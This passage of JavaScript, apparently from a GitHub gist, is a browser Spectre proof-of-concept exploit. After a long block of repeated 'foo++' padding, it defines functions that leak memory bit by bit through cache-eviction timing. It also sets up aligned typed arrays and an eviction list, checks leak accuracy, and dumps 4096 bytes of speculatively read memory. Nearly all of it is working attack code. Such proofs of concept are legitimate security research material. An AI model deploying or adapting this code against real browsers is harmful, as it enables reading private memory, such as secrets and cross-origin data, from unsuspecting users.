foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++ | |
} | |
function leakBit(evictionList, offset, bit) { | |
let zeroes = 0; | |
let ones = 0; | |
// Our leak is probabilistic. To filter out some noise, we test both for bit 0 | |
// and 1 repeatedly. If we didn't get a difference in cache hits, continue | |
// until we see a diff. | |
for (let i = 0; i < 1; i++) { | |
if (testBit(evictionList, offset, bit, 0)) zeroes++; | |
if (testBit(evictionList, offset, bit, 1)) ones++; | |
} | |
for (let i = 1; ones == zeroes && i < 5; i++) { | |
if (testBit(evictionList, offset, bit, 0)) zeroes++; | |
if (testBit(evictionList, offset, bit, 1)) ones++; | |
if (ones != zeroes) break; | |
} | |
return ones > zeroes ? 1 : 0; | |
} | |
function leakByte(evictionList, offset) { | |
let byte = 0; | |
for (let bit = 0; bit < 8; bit++) { | |
byte |= leakBit(evictionList, offset, bit) << bit; | |
} | |
return byte; | |
} | |
function leakQword(evictionList, offset) { | |
let qword = 0n; | |
for (let i = 0; i < 8; i++) { | |
qword |= BigInt(leakByte(evictionList, offset+i)) << BigInt(8*i); | |
} | |
return qword; | |
} | |
async function runSpectre() { | |
const arrayPageOffset = (PAGE_SZ + inferredCacheSet*CACHE_LINE_SZ - alignedIndex*elementSize) % PAGE_SZ; | |
console.log(`[*] array elements page offset: 0x${(arrayPageOffset).toString(16)}`); | |
// We want the backing store ptr and the length of the typed array to be on separate cache lines. | |
const desiredAlignment = 2*CACHE_LINE_SZ - (40); | |
let typedArrayPageOffset = (arrayPageOffset + leakMe.length*4) % PAGE_SZ; | |
console.log(`[*] first typedArray at 0x${typedArrayPageOffset.toString(16)}`); | |
// We prepared a memory layout in setup_memory.js that looks like this: | |
// leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ... | |
// Just iterate through them to find one that has the alignment we want. | |
let alignedTypedArray = undefined; | |
for (let i = 0; i < typedArrays.length-1; i++) { | |
if (typedArrayPageOffset % (2*CACHE_LINE_SZ) == desiredAlignment) { | |
console.log(`[*] found typedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)})`); | |
alignedTypedArray = typedArrays[i]; | |
alignedTypedArray.fill(0x00); | |
const targetArray = typedArrays[i+1]; | |
// Fill all arrays before and after with 0x41 so that we can see them in | |
// the hexdump. | |
// We also use it as a known value to test if our leak works. | |
for (let j = 0; j < i; j++) { | |
typedArrays[j].fill(0x41); | |
} | |
for (let j = i+1; j < typedArrays.length; j++) { | |
typedArrays[j].fill(0x41); | |
} | |
break; | |
} | |
typedArrayPageOffset += 164; | |
typedArrayPageOffset %= PAGE_SZ; | |
} | |
if (alignedTypedArray == undefined) { | |
console.error(ERR_U8_ALIGN, "couldn't create typed array with right alignment"); | |
return; | |
} | |
// Create these as globals. | |
// The spectreArray is what we will access out of bounds. | |
// The spectreTimer calls the spectre gadget and checks which cache sets it's using. | |
Object.defineProperty(this, "spectreArray", { | |
value: alignedTypedArray | |
}); | |
Object.defineProperty(this, "spectreTimer", { | |
value: new L1Timer(spectreGadget) | |
}); | |
const cacheLineToFlush = typedArrayPageOffset & 0xfc0; | |
// This will be used to evict the typed array length from the cache | |
const evictionList = new EvictionList(200, cacheLineToFlush); | |
// Test that the leak is working. We previously wrote byte 0x41 at a known offset. | |
const leakTestReps = 1000; | |
let falsePositives = 0; | |
let falseNegatives = leakTestReps; | |
for (let i = 0; i < leakTestReps; i++) { | |
// The expected value is 0x41 | |
falseNegatives -= leakBit(evictionList, 164, 0); | |
falsePositives += leakBit(evictionList, 164, 1); | |
} | |
const falsePositivePercent = Math.floor(100*falsePositives/leakTestReps); | |
const falseNegativePercent = Math.floor(100*falseNegatives/leakTestReps); | |
console.log(`[*] false positives: ${falsePositivePercent}%, false negatives: ${falseNegativePercent}%`); | |
if (falsePositivePercent > 20) { | |
console.error(ERR_NO_41, 'too many wrong false positives in leak test (> 20%)'); | |
return; | |
} | |
if (falseNegativePercent > 20) { | |
console.error(ERR_NO_41, 'too many wrong false negatives in leak test (> 20%)'); | |
return; | |
} | |
console.log('[*] setup complete, start leaking'); | |
await sleep(50); | |
const leakCount = 4096; | |
const reportSize = 128; | |
let leaked = []; | |
let time = performance.now(); | |
for (let leakOffset = 0; leakOffset < leakCount; leakOffset++) { | |
if (leaked.length == reportSize) { | |
console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakOffset - leaked.length, time: performance.now() - time})); | |
await sleep(10); | |
leaked = []; | |
time = performance.now() | |
} | |
leaked.push(leakByte(evictionList, leakOffset)); | |
} | |
if (leaked.length > 0) { | |
console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakCount - leaked.length, time: performance.now() - time})); | |
} | |
console.log('[*] done'); | |
} | |
if (leakSuccess) { | |
console.log(`[*] inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`); | |
// To verify, you can search for the value 0x26700000266e in a debugger | |
leakMe[alignedIndex] = 0x1337; | |
leakMe[alignedIndex+1] = 0x1338; | |
runSpectre(); | |
} else { | |
console.error(ERR_MEM_LAYOUT, "could not infer memory layout", {cacheHits: cacheHits}); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment